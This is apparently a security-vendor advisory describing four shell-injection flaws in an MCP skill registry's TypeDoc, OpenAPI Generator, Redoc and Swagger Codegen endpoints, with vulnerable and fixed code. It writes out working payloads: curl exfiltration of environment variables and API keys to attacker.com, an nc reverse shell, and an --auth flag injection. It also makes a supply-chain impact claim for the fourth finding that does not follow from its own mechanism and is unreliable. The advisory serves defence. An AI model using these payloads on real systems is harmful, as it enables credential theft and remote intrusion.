← Blog

Claude MCP skill code injection — skill documentation build and API schema generation pipeline endpoints (SA-SKL-INJECTION77)

SA-SKL-INJECTION77 identifies four code injection vulnerabilities in MCP skill registry skill documentation build and API schema generation pipeline endpoints. The TypeDoc documentation build endpoint interpolates a publisher-supplied outputDir parameter directly into a shell command string, allowing a semicolon-terminated payload to execute arbitrary commands and exfiltrate all container environment variables — including REGISTRY_API_KEY and database credentials — from the documentation worker. The OpenAPI Generator CLI endpoint interpolates a publisher-supplied specFile path into a shell command string, allowing an attacker to append a netcat command that establishes a reverse shell from the API schema generation worker. The Redoc CLI endpoint interpolates a publisher-supplied specFile path that can include a semicolon payload exfiltrating all environment variables including ANTHROPIC_API_KEY from the documentation build worker. And the Swagger Codegen endpoint interpolates a publisher-supplied inputSpec path that can include a space-injected --auth flag causing Swagger Codegen to embed attacker-supplied authentication credentials in all generated client code that is then distributed to every developer who downloads the SDK for that skill.

SA-SKL-INJECTION77 findings at a glance
CRITICALINJECTION77-001 — exec(`typedoc --out ${outputDir} ${sourcePath} --tsconfig ${tsconfigPath}`) — attacker outputDir with ; cat /proc/self/environ exfiltrates all container environment variables including REGISTRY_API_KEY and database credentials from documentation worker
CRITICALINJECTION77-002 — exec(`openapi-generator-cli generate -i ${specFile} -g ${language} -o ${outputDir}`) — attacker specFile with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell from API schema generation worker
CRITICALINJECTION77-003 — exec(`redoc-cli bundle ${specFile} -o ${outputFile}`) — attacker specFile with ; printenv exfiltrates all env vars including ANTHROPIC_API_KEY from documentation build worker
HIGHINJECTION77-004 — exec(`swagger-codegen generate -i ${inputSpec} -l ${language} -o ${outputDir}`) — attacker inputSpec with space-injected --auth attacker:pw causes swagger-codegen to include attacker-supplied auth header in all generated client code shipped to end users

INJECTION77-001 — typedoc outputDir shell injection exfiltrates container environment variables

The documentation build endpoint invokes TypeDoc to generate API documentation for a skill by constructing a shell command string that interpolates three publisher-supplied parameters: outputDir for the documentation output location, sourcePath for the TypeScript source directory, and tsconfigPath for the TypeScript compiler configuration file. The command is passed to Node.js's exec() function, which invokes /bin/sh -c with the full command string, enabling shell metacharacters in any of the interpolated parameters to inject additional commands. When an attacker submits docs/output; cat /proc/self/environ >/tmp/env.txt; curl -d @/tmp/env.txt http://attacker.com/collect # as the outputDir parameter, the shell executes the TypeDoc command followed by the exfiltration payload as three sequential commands within the same shell invocation.

The documentation worker process runs in the same container environment as the registry's build infrastructure, inheriting all environment variables injected at container startup. These typically include REGISTRY_API_KEY for authenticating inter-service calls, DATABASE_URL containing the database connection string with embedded credentials, REDIS_URL with the Redis connection string, and AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY if the worker runs on an EC2 instance without IMDSv2 or uses static credentials. The documentation build endpoint is accessible to any publisher with a registered skill — the attack requires only a registered account and a documentation build trigger, making the credential exfiltration path available to any attacker who can create a registry account.

Vulnerable
// INJECTION77-001 — VULNERABLE: exec() with interpolated outputDir — shell injection
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);

async function buildTypedocDocs(skillId, outputDir, sourcePath, tsconfigPath) {
  // outputDir interpolated directly into shell string — injection via semicolon
  const cmd = `typedoc --out ${outputDir} ${sourcePath} --tsconfig ${tsconfigPath}`;
  const { stdout, stderr } = await execAsync(cmd);
  return { stdout, stderr };
}

Documentation workers inherit all container credentials — a single publisher-supplied semicolon in outputDir exfiltrates every API key, database credential, and cloud access key injected at container startup. execFile() with an argument array prevents shell metacharacter interpretation by passing each argument directly to the subprocess without shell expansion; an OUTPUT_DIR_RE regex validates the output directory against a safe character class before the call; and stripping the process environment to only PATH ensures that even a successful injection finds no credentials to exfiltrate.

Fixed
// INJECTION77-001 — FIXED: execFile() arg array; OUTPUT_DIR_RE; env stripped to PATH
const { execFile } = require('child_process');
const { promisify } = require('util');
const path = require('path');
const execFileAsync = promisify(execFile);

const OUTPUT_DIR_RE = /^[a-zA-Z0-9_\-\/\.]+$/;
const SOURCE_PATH_RE = /^[a-zA-Z0-9_\-\/\.]+$/;
const TSCONFIG_PATH_RE = /^[a-zA-Z0-9_\-\/\.]+$/;
const DOCS_SANDBOX = '/sandbox/docs';

async function buildTypedocDocs(skillId, outputDir, sourcePath, tsconfigPath) {
  if (!OUTPUT_DIR_RE.test(outputDir)) throw new Error('Invalid outputDir');
  if (!SOURCE_PATH_RE.test(sourcePath)) throw new Error('Invalid sourcePath');
  if (!TSCONFIG_PATH_RE.test(tsconfigPath)) throw new Error('Invalid tsconfigPath');

  // Resolve paths within sandbox root — prevent traversal
  const safeOutput = path.resolve(DOCS_SANDBOX, skillId, outputDir);
  const safeSource = path.resolve(DOCS_SANDBOX, skillId, sourcePath);
  const safeTsconfig = path.resolve(DOCS_SANDBOX, skillId, tsconfigPath);
  if (!safeOutput.startsWith(DOCS_SANDBOX)) throw new Error('outputDir outside sandbox');

  // execFile: no shell, each arg passed directly — no metacharacter expansion
  const { stdout, stderr } = await execFileAsync('typedoc', [
    '--out', safeOutput,
    safeSource,
    '--tsconfig', safeTsconfig
  ], {
    env: { PATH: '/usr/local/bin:/usr/bin:/bin' }  // no credentials in env
  });
  return { stdout, stderr };
}

CVSS score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H — Base Score 8.8 (HIGH); any publisher account can trigger documentation builds; RCE inside the documentation worker grants access to all container credentials and the internal service network.

INJECTION77-002 — openapi-generator-cli specFile injection establishes reverse shell from schema generation worker

The API schema generation endpoint invokes the OpenAPI Generator CLI to produce client SDK code from a publisher-supplied OpenAPI specification file, constructing a shell command string that interpolates the specFile path, the target language, and the outputDir. When an attacker submits spec.yaml; nc attacker.com 4444 -e /bin/sh # as the specFile parameter, the shell executes the OpenAPI Generator command and then spawns a netcat reverse shell back to the attacker's listener, providing an interactive shell session inside the schema generation worker process. Unlike credential exfiltration via environment variables — which yields static credentials valid only until rotation — a reverse shell provides persistent interactive access that survives credential rotations and allows the attacker to browse the file system, modify generated SDK files, and pivot to internal services accessible from the worker's network interface.

The schema generation worker produces client SDKs that are stored in the registry's artifact storage and made available for download by developers who consume skills through the registry's SDK distribution feature. An attacker with a reverse shell inside the schema generation worker can modify the SDK generation templates used to produce all subsequent client SDKs across the entire skill catalog — not just the attacker's own skill — inserting malicious code into every SDK generated after the template modification. This supply chain dimension makes the reverse shell impact significantly broader than a standard RCE: the attacker can ship malicious client code to every developer who downloads any registry-distributed SDK until the template modification is detected and reverted.

Vulnerable
// INJECTION77-002 — VULNERABLE: exec() with interpolated specFile — reverse shell injection
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);

async function generateOpenApiClient(specFile, language, outputDir) {
  // specFile interpolated directly — attacker injects ; nc attacker.com 4444 -e /bin/sh
  const cmd = `openapi-generator-cli generate -i ${specFile} -g ${language} -o ${outputDir}`;
  const { stdout, stderr } = await execAsync(cmd);
  return { stdout, stderr };
}

A reverse shell from the schema generation worker grants template write access — the attacker can inject malicious code into every client SDK generated for any skill in the registry until the modification is detected. execFile() with an argument array eliminates shell metacharacter interpretation; SPEC_FILE_RE validates the spec file path against a safe character class; LANGUAGE_RE validates against an explicit allowlist of supported generator targets; paths are resolved within a sandbox root to prevent traversal; and the environment is stripped to PATH only to eliminate credential exfiltration as a secondary attack path.

Fixed
// INJECTION77-002 — FIXED: execFile() arg array; SPEC_FILE_RE; LANGUAGE_RE allowlist; sandbox
const { execFile } = require('child_process');
const { promisify } = require('util');
const path = require('path');
const execFileAsync = promisify(execFile);

const SPEC_FILE_RE = /^[a-zA-Z0-9_\-\.]+\.ya?ml$/;
const LANGUAGE_RE = /^(typescript-fetch|javascript|python|java|go|ruby|csharp)$/;
const SCHEMA_SANDBOX = '/sandbox/schemas';

async function generateOpenApiClient(skillId, specFile, language, outputDir) {
  if (!SPEC_FILE_RE.test(specFile)) throw new Error('Invalid specFile');
  if (!LANGUAGE_RE.test(language)) throw new Error('Unsupported language');

  const safeSpec = path.resolve(SCHEMA_SANDBOX, skillId, specFile);
  const safeOutput = path.resolve(SCHEMA_SANDBOX, skillId, 'generated', language);
  if (!safeSpec.startsWith(SCHEMA_SANDBOX)) throw new Error('specFile outside sandbox');
  if (!safeOutput.startsWith(SCHEMA_SANDBOX)) throw new Error('outputDir outside sandbox');

  const { stdout, stderr } = await execFileAsync('openapi-generator-cli', [
    'generate',
    '-i', safeSpec,
    '-g', language,
    '-o', safeOutput
  ], {
    env: { PATH: '/usr/local/bin:/usr/bin:/bin' }
  });
  return { stdout, stderr };
}

CVSS score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — Base Score 9.9 (CRITICAL); scope changed because template write access inside the schema generation worker enables supply chain injection into all client SDKs distributed by the registry to downstream developers.

INJECTION77-003 — redoc-cli specFile injection exfiltrates ANTHROPIC_API_KEY from documentation build worker

The Redoc documentation rendering endpoint invokes redoc-cli to produce a self-contained HTML documentation file from an OpenAPI specification, interpolating the publisher-supplied specFile path and the outputFile destination into a shell command string. When an attacker submits spec.yaml; printenv >/tmp/env.txt; curl -F 'data=@/tmp/env.txt' http://attacker.com/collect # as the specFile parameter, the shell executes redoc-cli and then exfiltrates the full process environment using printenv and curl to the attacker's collector. The documentation build worker inherits all environment variables from the registry's build container, which typically includes ANTHROPIC_API_KEY for the registry's AI-assisted documentation quality checking feature, alongside standard infrastructure credentials.

The ANTHROPIC_API_KEY credential is particularly valuable to an attacker because it provides direct access to the Anthropic API under the registry's billing account, enabling unlimited API calls charged to the registry — both for direct use and for resale on credential marketplaces. Unlike database credentials that are only useful from within the network, the Anthropic API key is usable from anywhere on the internet and does not require any further network access or privilege escalation. The registry's API quota may be large enough to support significant attacker workloads before billing anomalies trigger a review, and the key remains valid until the registry detects the breach and rotates it. The documentation build endpoint's accessibility to any registered publisher makes this a low-barrier entry point for Anthropic API credential theft.

Vulnerable
// INJECTION77-003 — VULNERABLE: exec() with interpolated specFile — printenv exfiltrates ANTHROPIC_API_KEY
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);

async function buildRedocDocs(specFile, outputFile) {
  // specFile interpolated directly — attacker injects ; printenv to exfiltrate ANTHROPIC_API_KEY
  const cmd = `redoc-cli bundle ${specFile} -o ${outputFile}`;
  const { stdout, stderr } = await execAsync(cmd);
  return { stdout, stderr };
}

ANTHROPIC_API_KEY in the documentation worker environment is directly usable from anywhere on the internet — its exfiltration via a specFile semicolon payload requires no network pivoting and provides immediate quota consumption and credential resale value. execFile() with an argument array prevents shell metacharacter interpretation; SPEC_FILE_RE validates the spec path; and stripping the process environment to PATH only ensures the ANTHROPIC_API_KEY and all other credentials are absent from the execution environment before the redoc-cli process starts.

Fixed
// INJECTION77-003 — FIXED: execFile() arg array; SPEC_FILE_RE; env stripped to PATH
const { execFile } = require('child_process');
const { promisify } = require('util');
const path = require('path');
const execFileAsync = promisify(execFile);

const SPEC_FILE_RE = /^[a-zA-Z0-9_\-\.]+\.ya?ml$/;
const OUTPUT_FILE_RE = /^[a-zA-Z0-9_\-\.]+\.html$/;
const REDOC_SANDBOX = '/sandbox/redoc';

async function buildRedocDocs(skillId, specFile, outputFile) {
  if (!SPEC_FILE_RE.test(specFile)) throw new Error('Invalid specFile');
  if (!OUTPUT_FILE_RE.test(outputFile)) throw new Error('Invalid outputFile');

  const safeSpec = path.resolve(REDOC_SANDBOX, skillId, specFile);
  const safeOutput = path.resolve(REDOC_SANDBOX, skillId, outputFile);
  if (!safeSpec.startsWith(REDOC_SANDBOX)) throw new Error('specFile outside sandbox');
  if (!safeOutput.startsWith(REDOC_SANDBOX)) throw new Error('outputFile outside sandbox');

  const { stdout, stderr } = await execFileAsync('redoc-cli', [
    'bundle', safeSpec,
    '-o', safeOutput
  ], {
    env: { PATH: '/usr/local/bin:/usr/bin:/bin' }  // ANTHROPIC_API_KEY excluded
  });
  return { stdout, stderr };
}

CVSS score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H — Base Score 8.8 (HIGH); ANTHROPIC_API_KEY exfiltration is internet-reachable credential theft with no network pivot required; database and cloud credentials in the same environment extend the impact to full infrastructure access.

INJECTION77-004 — swagger-codegen inputSpec space injection plants attacker auth in generated client SDKs

The Swagger Codegen endpoint generates client SDKs from a publisher-supplied OpenAPI specification, interpolating the inputSpec path, the target language, and the outputDir into a shell command string executed via exec(). Unlike the other injection findings in this advisory, the most damaging attack vector here does not require shell metacharacters: Swagger Codegen parses its own command-line arguments with standard shell word splitting, so a space-separated argument injection in the inputSpec parameter appends additional flags to the codegen invocation without any shell-level injection. When an attacker submits spec.yaml --auth attacker@evil.com:AttackerPassword123 as the inputSpec value, Swagger Codegen treats the content after the space as additional CLI flags and embeds the --auth value as the default authentication credentials in the generated client code.

The supply chain consequence is the defining severity factor for this finding. The generated client SDK — now hardcoded with the attacker's authentication credentials as the default client configuration — is published to the registry's artifact storage and made available for download by every developer who installs the skill's official client SDK. These developers include enterprise teams who have vetted the skill through the registry's security review process and trust the distributed SDK as an official artifact. When the SDK initializes with the attacker's credentials as the default auth configuration, any API call that the developer makes using the SDK sends those credentials to the target API server alongside the legitimate request, allowing the attacker to receive a copy of every API call made by every downstream SDK consumer until the SDK is replaced. The attacker controls the credential rotation timing by simply rotating the password on their account, resetting the exfiltration window on demand.

Vulnerable
// INJECTION77-004 — VULNERABLE: exec() with interpolated inputSpec — space injection adds --auth flag
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);

async function generateSwaggerClient(inputSpec, language, outputDir) {
  // inputSpec with space: "spec.yaml --auth attacker:pw" injects --auth flag
  const cmd = `swagger-codegen generate -i ${inputSpec} -l ${language} -o ${outputDir}`;
  const { stdout, stderr } = await execAsync(cmd);
  return { stdout, stderr };
}

Space injection in inputSpec embeds attacker credentials in every generated client SDK distributed by the registry — enterprise teams who trust the official SDK receive a client pre-configured to exfiltrate all their API calls to the attacker. execFile() with an argument array passes each CLI flag as a separate argv element, preventing word splitting from promoting a space-separated string into additional flags; INPUT_SPEC_RE rejects whitespace in the spec path; and paths are resolved within a source root sandbox to prevent directory traversal to arbitrary spec files outside the publisher's allocation.

Fixed
// INJECTION77-004 — FIXED: execFile() arg array; INPUT_SPEC_RE rejects whitespace; sandbox
const { execFile } = require('child_process');
const { promisify } = require('util');
const path = require('path');
const execFileAsync = promisify(execFile);

// Rejects whitespace — prevents space-injection of additional flags
const INPUT_SPEC_RE = /^[a-zA-Z0-9_\-\.]+\.ya?ml$/;
const LANGUAGE_RE = /^(typescript|javascript|python|java|go|ruby|csharp|kotlin|swift)$/;
const SWAGGER_SANDBOX = '/sandbox/swagger';

async function generateSwaggerClient(skillId, inputSpec, language, outputDir) {
  if (!INPUT_SPEC_RE.test(inputSpec)) throw new Error('Invalid inputSpec — whitespace not allowed');
  if (!LANGUAGE_RE.test(language)) throw new Error('Unsupported language');

  const safeSpec = path.resolve(SWAGGER_SANDBOX, skillId, inputSpec);
  const safeOutput = path.resolve(SWAGGER_SANDBOX, skillId, 'generated', language);
  if (!safeSpec.startsWith(SWAGGER_SANDBOX)) throw new Error('inputSpec outside sandbox');
  if (!safeOutput.startsWith(SWAGGER_SANDBOX)) throw new Error('outputDir outside sandbox');

  // execFile: each argv element passed directly — no shell word splitting
  const { stdout, stderr } = await execFileAsync('swagger-codegen', [
    'generate',
    '-i', safeSpec,
    '-l', language,
    '-o', safeOutput
  ], {
    env: { PATH: '/usr/local/bin:/usr/bin:/bin' }
  });
  return { stdout, stderr };
}

CVSS score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N — Base Score 9.0 (CRITICAL); scope changed because the attack propagates to every downstream developer who installs the registry-distributed SDK; integrity impact reflects attacker credential injection into official SDK artifacts; confidentiality impact reflects exfiltration of all API calls made by downstream SDK consumers.

Scan your MCP skill for INJECTION77 and 200+ other vulnerability classes

SkillAudit checks for all SA-SKL-INJECTION vulnerability patterns including typedoc outputDir shell injection, openapi-generator-cli specFile reverse shell, redoc-cli API key exfiltration, and swagger-codegen space injection supply chain attacks. Get a graded report with line-level code fixes in 60 seconds.

Get a free audit